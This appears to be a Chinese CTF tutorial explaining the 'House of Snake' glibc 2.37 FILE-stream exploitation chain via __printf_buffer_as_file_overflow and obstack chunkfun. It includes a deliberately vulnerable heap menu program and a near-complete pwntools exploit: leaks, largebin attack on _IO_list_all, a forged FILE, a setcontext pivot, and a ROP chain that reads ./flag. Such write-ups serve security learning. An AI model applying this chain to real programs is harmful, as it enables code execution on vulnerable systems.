glibc2.37高版本io利用之House of Snake
House of Snake 源码 glibc-2.37 删除了 _IO_obstack_jumps 但是添加了 _IO_printf_buffer_as_file_jumps 这个新的 _IO_jumps_t 结构体。 _IO_printf_buffer_as_file_jumps 中只有 __printf_buffer_as_file_overflow 和 __printf_buffer_as
House of Snake
源码
glibc-2.37 删除了 _IO_obstack_jumps 但是添加了 _IO_printf_buffer_as_file_jumps 这个新的 _IO_jumps_t 结构体。 _IO_printf_buffer_as_file_jumps 中只有 __printf_buffer_as_file_overflow 和 __printf_buffer_as_file_xsputn 两个函数,而 House of Snake 利用的是 __printf_buffer_as_file_overflow 函数。
static const struct _IO_jump_t _IO_printf_buffer_as_file_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, NULL),
JUMP_INIT(overflow, __printf_buffer_as_file_overflow),
JUMP_INIT(underflow, NULL),
JUMP_INIT(uflow, NULL),
JUMP_INIT(pbackfail, NULL),
JUMP_INIT(xsputn, __printf_buffer_as_file_xsputn),
JUMP_INIT(xsgetn, NULL),
JUMP_INIT(seekoff, NULL),
JUMP_INIT(seekpos, NULL),
JUMP_INIT(setbuf, NULL),
JUMP_INIT(sync, NULL),
JUMP_INIT(doallocate, NULL),
JUMP_INIT(read, NULL),
JUMP_INIT(write, NULL),
JUMP_INIT(seek, NULL),
JUMP_INIT(close, NULL),
JUMP_INIT(stat, NULL),
JUMP_INIT(showmanyc, NULL),
JUMP_INIT(imbue, NULL)
};
__printf_buffer_as_file_overflow 函数定义如下:
static inline bool __attribute_warn_unused_result__
__printf_buffer_has_failed(struct __printf_buffer *buf) {
return buf->mode == __printf_buffer_mode_failed;
}
static int
__printf_buffer_as_file_overflow(FILE *fp, int ch) {
struct __printf_buffer_as_file *file = (struct __printf_buffer_as_file *) fp;
__printf_buffer_as_file_commit(file);
/* EOF means only a flush is requested. */
if (ch != EOF)
__printf_buffer_putc(file->next, ch);
/* Ensure that flushing actually produces room. */
if (!__printf_buffer_has_failed(file->next)
&& file->next->write_ptr == file->next->write_end)
__printf_buffer_flush(file->next);
...
}
首先 __printf_buffer_as_file_overflow函数将 FILE 结构体转换为 __printf_buffer_as_file 类型,相关定义如下:
struct __printf_buffer
{
char *write_base;
char *write_ptr;
char *write_end;
uint64_t written;
enum __printf_buffer_mode mode;
};
struct __printf_buffer_as_file
{
/* Interface to libio. */
FILE stream;
const struct _IO_jump_t *vtable;
/* Pointer to the underlying buffer. */
struct __printf_buffer *next;
};
之后调用了 __printf_buffer_as_file_commit ,该函数做了一些检查:
static void
__printf_buffer_as_file_commit (struct __printf_buffer_as_file *file)
{
/* Check that the write pointers in the file stream are consistent
with the next buffer. */
assert (file->stream._IO_write_ptr >= file->next->write_ptr);
assert (file->stream._IO_write_ptr <= file->next->write_end);
assert (file->stream._IO_write_base == file->next->write_base);
assert (file->stream._IO_write_end == file->next->write_end);
file->next->write_ptr = file->stream._IO_write_ptr;
}
之后根据参数 ch 是否为 EOF 决定是否调用 __printf_buffer_putc 。FSOP 中调用的 _IO_flush_all_lockp 函数中是通过 _IO_OVERFLOW (fp, EOF) 调用到 vtable 中的 overflow 函数,因此 __printf_buffer_as_file_overflow 的参数 ch 为 EOF 。 当然,即使调用到了 __printf_buffer_putc 也只是是做了一些指针记录的数值加减的操作,对此我们不用过多关注。
再之后会调用 __printf_buffer_flush 函数,调用条件是 file->next.mode != __printf_buffer_mode_failed 且 file->next->write_ptr == file->next->write_end 。
__printf_buffer_flush 函数定义如下,这里再次检查 file->next.mode != __printf_buffer_mode_failed 然后调用 __printf_buffer_do_flush 函数,参数为 file->next 。
#define Xprintf(n) __printf_##n
#define Xprintf_buffer_flush Xprintf (buffer_flush)
#define Xprintf_buffer Xprintf (buffer)
bool
Xprintf_buffer_flush (struct Xprintf_buffer *buf)
{
if (__glibc_unlikely (Xprintf_buffer_has_failed (buf)))
return false;
Xprintf (buffer_do_flush) (buf); // __printf_buffer_do_flush(buf)
...
}
如果 file->next.mode = __printf_buffer_mode_obstack(11) 那么会调用 __printf_buffer_flush_obstack 函数。
static void
__printf_buffer_do_flush (struct __printf_buffer *buf)
{
switch (buf->mode)
{
...
case __printf_buffer_mode_obstack:
__printf_buffer_flush_obstack ((struct __printf_buffer_obstack *) buf);
return;
}
...
}
这里 __printf_buffer_obstack 结构体定义如下:
struct __printf_buffer_obstack
{
struct __printf_buffer base;
struct obstack *obstack;
char ch;
};
如果满足 buf->base.write_ptr == &buf->ch + 1 则 __printf_buffer_flush_obstack 会执行 obstack_1grow 宏。
void
__printf_buffer_flush_obstack (struct __printf_buffer_obstack *buf)
{
...
if (buf->base.write_ptr == &buf->ch + 1)
{
obstack_1grow (buf->obstack, buf->ch);
...
}
...
}
obstack_1grow 宏展开内容如下,可以看到该宏调用了 _obstack_newchunk 函数并将 buf->obstack 作为参数传入。
声明位置: obstack.h
定义:
# define obstack_1grow(OBSTACK, datum) \
__extension__ \
({ struct obstack *__o = (OBSTACK); \
if (__o->next_free + 1 > __o->chunk_limit) \
_obstack_newchunk (__o, 1); \
obstack_1grow_fast (__o, datum); \
(void) 0; })
替换:
({
struct obstack *__o = (buf->obstack);
if (__o->next_free + 1 > __o->chunk_limit)_obstack_newchunk(__o, 1);
(*((__o)->next_free)++ = (buf->ch));
(void) 0;
})
_obstack_newchunk 函数会执行 CALL_CHUNKFUN 宏,这和前面的 House of 琴瑟琵琶利用链相同。
void
_obstack_newchunk (struct obstack *h, int length)
{
...
struct _obstack_chunk *new_chunk;
...
new_chunk = CALL_CHUNKFUN (h, new_size);
...
}
回顾一下整个分析过程并将所有相关结构体,并都看成 __printf_buffer_as_file 结构体,有以下条件:
- 在__printf_buffer_as_file_overflow函数中:
file->next->mode!=__printf_buffer_mode_failed && file->next->write_ptr == file->next->write_end
- 在__printf_buffer_as_file_commit函数中:
file->stream._IO_write_ptr >= file->next->write_ptrfile->stream._IO_write_ptr <= file->next->write_endfile->stream._IO_write_base == file->next->write_basefile->stream._IO_write_end == file->next->write_end
- 在__printf_buffer_flush函数中:
file->next->mode =__printf_buffer_mode_obstack
- 在__printf_buffer_flush_obstack函数中:
buf->base.write_ptr == &buf->ch + 1<==>file->next.write_ptr == &(file->next) + 0x30 + 1
- 在obstack_1grow宏定义中:
(struct __printf_buffer_obstack *) file->obstack->next_free + 1 > (struct __printf_buffer_obstack *) file->obstack->chunk_limit(h)->use_extra_arg不为 0 <==>(struct __printf_buffer_obstack *) file->obstack->use_extra_arg != 0
最终调用 (struct __printf_buffer_obstack *) file->obstack->chunkfun((struct __printf_buffer_obstack *) file->obstack->extra_arg) 。
具体构造如下图所示:

构造模版
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char *chunk_list[0x100];
#define puts(str) write(1, str, strlen(str)), write(1, "\n", 1)
void menu() {
puts("1. add chunk");
puts("2. delete chunk");
puts("3. edit chunk");
puts("4. show chunk");
puts("5. exit");
puts("choice:");
}
int get_num() {
char buf[0x10];
read(0, buf, sizeof(buf));
return atoi(buf);
}
void add_chunk() {
puts("index:");
int index = get_num();
puts("size:");
int size = get_num();
chunk_list[index] = malloc(size);
}
void delete_chunk() {
puts("index:");
int index = get_num();
free(chunk_list[index]);
}
void edit_chunk() {
puts("index:");
int index = get_num();
puts("length:");
int length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}
void show_chunk() {
puts("index:");
int index = get_num();
puts(chunk_list[index]);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
while (1) {
menu();
int choice = get_num();
switch (choice) {
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
exit(0);
default:
puts("invalid choice.");
}
}
}
add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)
free(2)
free(0)
edit(2, 'a')
show(2)
libc.address = u64(io.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) - (libc.sym['main_arena'] + 96 + ord('a'))
info("libc base: " + hex(libc.address))
edit(2, b'\x00')
show(0)
heap_base = u64(io.recvuntil((b'\x55\x55'))[-6:].ljust(8, b'\x00')) & ~0xFFF
info("heap base: " + hex(heap_base))
add(0, 0x418)
edit(2, p64(0) * 3 + p64(libc.sym['_IO_list_all'] - 0x20))
free(0)
add(0, 0x408)
edit(2, p64(libc.sym['main_arena'] + 1104) * 2 + p64(heap_base + 0x6d0) * 2)
add(2, 0x428)
我们之间从伪造fake io来看
file_addr = heap_base + 0x6d0
payload_addr = file_addr + 0x10
frame_addr = file_addr + 0x168
rop_addr = frame_addr + 0xf8
buf_addr = rop_addr + 0x60
obstack_addr = file_addr + 0x110
ch_1_addr = obstack_addr + 8 + 1
fake_file = b""
fake_file += p64(1) # _IO_read_end
fake_file += p64(0) # _IO_read_base
fake_file += p64(0) # _IO_write_base
fake_file += p64(ch_1_addr) # _IO_write_ptr
fake_file += p64(ch_1_addr) # _IO_write_end
fake_file += p64(0) # _IO_buf_base
fake_file += p64(0) # _IO_buf_end
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(0) # the FILE chain ptr
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(frame_addr) # _old_offset
fake_file += p16(1) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file += p64(0) # _codecvt, usually 0
fake_file += p64(file_addr + 0x10) # _IO_wide_data_1
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode, usually -1
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8 - 0x10, b'\x00') # adjust to vtable
fake_file += p64(libc.address + 0x1d2ae0) # fake vtable
fake_file += p64(file_addr + 0xe8) # next
fake_file += p64(0) # write_base
fake_file += p64(0) # write_ptr
fake_file += p64(ch_1_addr) # write_end
fake_file += p64(0) # written
fake_file += p64(11) # mode
fake_file += p64(obstack_addr) # obstack
fake_file += p64(0) * 6
fake_file += p64(next(libc.search(asm('mov rdx, [rdi+0x8]; mov [rsp], rax; call qword ptr [rdx+0x20];'), executable=True))) # chunkfun
fake_file += p64(0) # freefun
fake_file += p64(frame_addr) # extra_arg
fake_file += p8(1) # use_extra_arg
直接从_IO_flush_all函数开始往后跟着调一下

这个时候的io被改成了我们伪造的样子

虚表被换成了__printf_buffer_as_file_overflow函数,这样接下来就会调用它

这个时候rsi里面是0xfffffff,也就是说传入的是一个EOF,和上面的利用条件是相符的

也就代表着会被强制转为next,而next里面被我们伪造成了__printf_buffer_mode_obstack,至于是怎么伪造的,大家可以跟着上面的源码,看看io结构体即可,这些伪造之后会进入很多判断,这里不一一展示,最后都是可以绕过去的
接着会来到__printf_buffer_flush函数,参数就是伪造的fake_io加0xe8的位置

随后进入__printf_buffer_flush_obstack函数,就会多一节数据
pwndbg> p *buf
$8 = {
base = {
write_base = 0x0,
write_ptr = 0x55555687a7e9 "",
write_end = 0x55555687a7e9 "",
written = 0,
mode = __printf_buffer_mode_obstack
},
obstack = 0x55555687a7e0,
ch = 0 '\000'
}
pwndbg> p *buf->obstack
$9 = {
chunk_size = 93825012312032,
chunk = 0x0,
object_base = 0x0,
next_free = 0x0,
chunk_limit = 0x0,
temp = {
tempint = 0,
tempptr = 0x0
},
alignment_mask = 0,
chunkfun = 0x7fb864303ad0 <getkeyserv_handle+528>,
freefun = 0x0,
extra_arg = 0x55555687a838,
use_extra_arg = 1,
maybe_empty_object = 0,
alloc_failed = 0
}
而chunkfun的这个位置就是magic gadget,最后附上剩下的exp
frame = SigreturnFrame()
frame.rdi = buf_addr
frame.rsi = 0
frame.rsp = rop_addr
frame.rip = libc.sym['open']
frame = bytearray(bytes(frame))
frame[8:8 + 8] = p64(frame_addr)
frame[0x20:0x20 + 8] = p64(libc.sym['setcontext'] + 61)
frame = bytes(frame)
# ROP chain
rop = b""
rop += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
rop += p64(3)
rop += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
rop += p64(buf_addr)
rop += p64(next(libc.search(asm('pop rdx; pop r12; ret;'), executable=True)))
rop += p64(0x100)
rop += p64(0)
rop += p64(libc.sym['read'])
rop += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
rop += p64(buf_addr)
rop += p64(libc.sym['puts'])
# Construct full payload
payload = b""
payload += fake_file
payload = payload.ljust(frame_addr - payload_addr, b'\x00')
payload += frame
payload = payload.ljust(rop_addr - payload_addr, b'\x00')
payload += rop
payload = payload.ljust(buf_addr - payload_addr, b'\x00')
payload += b'./flag\x00'
edit(2, payload)
io.sendafter("choice:", "5")
io.interactive()